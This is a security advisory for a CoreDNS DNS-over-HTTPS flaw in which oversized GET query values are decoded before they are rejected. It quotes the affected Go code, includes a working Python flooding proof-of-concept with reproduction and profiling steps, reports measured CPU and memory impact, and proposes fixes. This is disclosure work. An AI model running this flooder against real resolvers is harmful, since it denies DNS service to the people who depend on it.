CoreDNS's DNS-over-HTTPS (DoH) GET path accepts oversized dns= query values and performs substantial request parsing, query unescaping, base64 decoding, and message unpacking work before returning 400 Bad Request.
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to /dns-query?dns=... and force high CPU usage, large transient allocations, elevated garbage-collection pressure, and increased resident memory consumption even though the requests are ultimately rejected.
This is a denial-of-service issue caused by expensive pre-validation processing on the DoH GET path.
The vulnerable flow is in plugin/pkg/doh/doh.go:
RequestToMsg() dispatches GET requests to requestToMsgGet():
plugin/pkg/doh/doh.go:79-89requestToMsgGet() calls req.URL.Query(), extracts dns, and passes it directly to base64ToMsg():
plugin/pkg/doh/doh.go:99-108base64ToMsg() decodes the full attacker-controlled value via b64Enc.DecodeString() and only then attempts to unpack it into a DNS message:
plugin/pkg/doh/doh.go:121-130Relevant snippet:
func requestToMsgGet(req *http.Request) (*dns.Msg, error) {
values := req.URL.Query()
b64, ok := values["dns"]
if !ok {
return nil, fmt.Errorf("no 'dns' query parameter found")
}
if len(b64) != 1 {
return nil, fmt.Errorf("multiple 'dns' query values found")
}
return base64ToMsg(b64[0])
}
func base64ToMsg(b64 string) (*dns.Msg, error) {
buf, err := b64Enc.DecodeString(b64)
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
By contrast, the POST path applies a bounded read before unpacking:
func toMsg(r io.ReadCloser) (*dns.Msg, error) {
buf, err := io.ReadAll(http.MaxBytesReader(nil, r, 65536))
if err != nil {
return nil, err
}
m := new(dns.Msg)
err = m.Unpack(buf)
return m, err
}
So, POST is explicitly size-bounded, while GET is not equivalently bounded before expensive parsing and decoding work occurs.
In addition, the HTTPS server is created in core/dnsserver/server_https.go:87-92 without an explicit early GET-path size guard in this path:
srv := &http.Server{
ReadTimeout: s.ReadTimeout,
WriteTimeout: s.WriteTimeout,
IdleTimeout: s.IdleTimeout,
ErrorLog: stdlog.New(&loggerAdapter{}, "", 0),
}
As a result, oversized DoH GET request targets are processed through:
before the request is rejected.
The root cause is missing early size validation on the DoH GET path.
More specifically:
requestToMsgGet() performs req.URL.Query() on attacker-controlled oversized request targets.dns value is passed to base64ToMsg() without an encoded-length or decoded-length bound.base64ToMsg() fully decodes the attacker-controlled string before any DNS-size rejection.This creates a pre-validation resource-amplification path for DoH GET.
This was reproduced locally against CoreDNS 1.14.2 over HTTPS with pprof enabled.
Create a self-signed certificate:
openssl req -x509 -newkey rsa:2048 -sha256 -days 1 -nodes \
-keyout key.pem -out cert.pem \
-subj "/CN=127.0.0.1"
Create this Corefile:
https://127.0.0.1:8443 {
whoami
log
errors
tls cert.pem key.pem
pprof 127.0.0.1:6060
}
Run CoreDNS:
./coredns -conf Corefile
#!/usr/bin/env python3
import argparse
import base64
import collections
import concurrent.futures
import http.client
import ssl
import time
def send_one(host, port, path, timeout):
ctx = ssl._create_unverified_context()
conn = http.client.HTTPSConnection(host, port, timeout=timeout, context=ctx)
try:
conn.request("GET", path, headers={
"Accept": "application/dns-message",
"Connection": "close",
})
resp = conn.getresponse()
resp.read()
return resp.status
except Exception as e:
return f"ERR:{type(e).__name__}"
finally:
try:
conn.close()
except Exception:
pass
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--host", default="127.0.0.1")
ap.add_argument("--port", type=int, default=8443)
ap.add_argument("--decoded-kib", type=int, default=720)
ap.add_argument("--workers", type=int, default=64)
ap.add_argument("--requests", type=int, default=5000)
ap.add_argument("--timeout", type=float, default=5.0)
args = ap.parse_args()
raw = b"A" * (args.decoded_kib * 1024)
b64 = base64.urlsafe_b64encode(raw).rstrip(b"=").decode()
path = "/dns-query?dns=" + b64
print(f"[+] target = https://{args.host}:{args.port}")
print(f"[+] decoded bytes = {len(raw):,}")
print(f"[+] encoded chars = {len(b64):,}")
print(f"[+] request-target length = {len(path):,}")
print(f"[+] workers = {args.workers}, requests = {args.requests}")
print("[+] 400 responses are expected; the issue is expensive processing before rejection.\n")
started = time.time()
results = collections.Counter()
with concurrent.futures.ThreadPoolExecutor(max_workers=args.workers) as ex:
futs = [
ex.submit(send_one, args.host, args.port, path, args.timeout)
for _ in range(args.requests)
]
for i, fut in enumerate(concurrent.futures.as_completed(futs), 1):
results[fut.result()] += 1
if i % 10 == 0 or i == args.requests:
print(f"[{i}/{args.requests}] {dict(results)}")
elapsed = time.time() - started
print("\n[+] done")
print(f"[+] elapsed = {elapsed:.2f}s")
print(f"[+] summary = {dict(results)}")
if __name__ == "__main__":
main()
Run the PoC:
python3 poc_doh_get_oversize_https.py \
--host 127.0.0.1 \
--port 8443 \
--decoded-kib 720 \
--workers 64 \
--requests 5000
CPU profile:
(curl -s "http://127.0.0.1:6060/debug/pprof/profile?seconds=20" -o cpu_attack.pb.gz &) ; \
sleep 1 ; \
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000 ; \
wait
go tool pprof -top ./coredns cpu_attack.pb.gz
Heap / allocation profiles:
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_before.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_before.pb.gz
python3 poc_doh_get_oversize_https.py --host 127.0.0.1 --port 8443 --decoded-kib 720 --workers 64 --requests 5000
curl -s http://127.0.0.1:6060/debug/pprof/heap -o heap_after.pb.gz
curl -s http://127.0.0.1:6060/debug/pprof/allocs -o allocs_after.pb.gz
go tool pprof -top -base heap_before.pb.gz ./coredns heap_after.pb.gz
go tool pprof -top -base allocs_before.pb.gz ./coredns allocs_after.pb.gz
The issue was confirmed using the following:
PoC payload characteristics:
737,280 bytesdns length: 983,040983,055Observed request outcome:
5000 / 5000 requests returned 400 Bad Request18.22sThe important point is that the requests are rejected only after expensive processing has already happened.
The CPU profile captured during the attack showed significant time in:
net/http.readRequestnet/url.ParseQuery / net/url.QueryUnescape / net/url.unescapegithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGetgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsgencoding/base64.(*Encoding).DecodeStringRepresentative cumulative values from the captured profile included:
github.com/coredns/coredns/core/dnsserver.(*ServerHTTPS).ServeHTTP → 10.91sgithub.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 10.88sgithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 10.88sgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 3.50sencoding/base64.(*Encoding).DecodeString → 3.46snet/http.readRequest → 10.57snet/url.(*URL).Query / ParseQuery / QueryUnescape → 7.38sruntime.gcBgMarkWorker and related GC paths were also heavily activeThis demonstrates that the issue is not limited to final DNS unpacking. The oversized GET request forces meaningful work in HTTP parsing, URL handling, base64 decoding, and garbage collection before rejection.
Allocation profiling showed very large transient allocation volume caused by the rejected requests:
alloc_space: 26,756.48 MBTop contributors included:
net/textproto.(*Reader).readLineSlice → 19,668.19 MBnet/textproto.(*Reader).ReadLine → 3,738.84 MBencoding/base64.(*Encoding).DecodeString → 2,766.16 MBWithin the CoreDNS DoH GET path specifically:
github.com/coredns/coredns/plugin/pkg/doh.RequestToMsg → 2,775.67 MBgithub.com/coredns/coredns/plugin/pkg/doh.requestToMsgGet → 2,775.67 MBgithub.com/coredns/coredns/plugin/pkg/doh.base64ToMsg → 2,773.67 MBHeap delta (inuse_space) also showed live growth attributable to this path, including:
encoding/base64.(*Encoding).DecodeString → 7,629.75 kBRuntime memory monitoring showed a clear increase in peak resident usage during the attack:
VmHWM / VmRSS before load was approximately 55,864 kBVmHWM during testing reached approximately 146,100 kBSo even though requests returned 400, the server still experienced substantial transient memory growth and allocator / GC pressure before rejection.
A remote, unauthenticated attacker can repeatedly send oversized DoH GET requests to the HTTPS endpoint and force significant pre-rejection work.
Impact includes:
This is especially relevant for internet-facing DoH deployments, where an attacker can repeatedly trigger the GET parsing path without authentication.
The fact that the final HTTP status is 400 Bad Request does not mitigate the issue, because the expensive processing has already occurred before the rejection is generated.
A robust fix should address both stages of the problem:
dns parameter before calling DecodeString().A minimal hardening direction would be:
req.URL.Query() on the DoH pathdns values whose encoded length exceeds the maximum valid DNS message encoding{
"github_reviewed_at": "2026-04-28T22:43:47Z",
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"nvd_published_at": "2026-05-05T20:16:36Z",
"severity": "HIGH"
}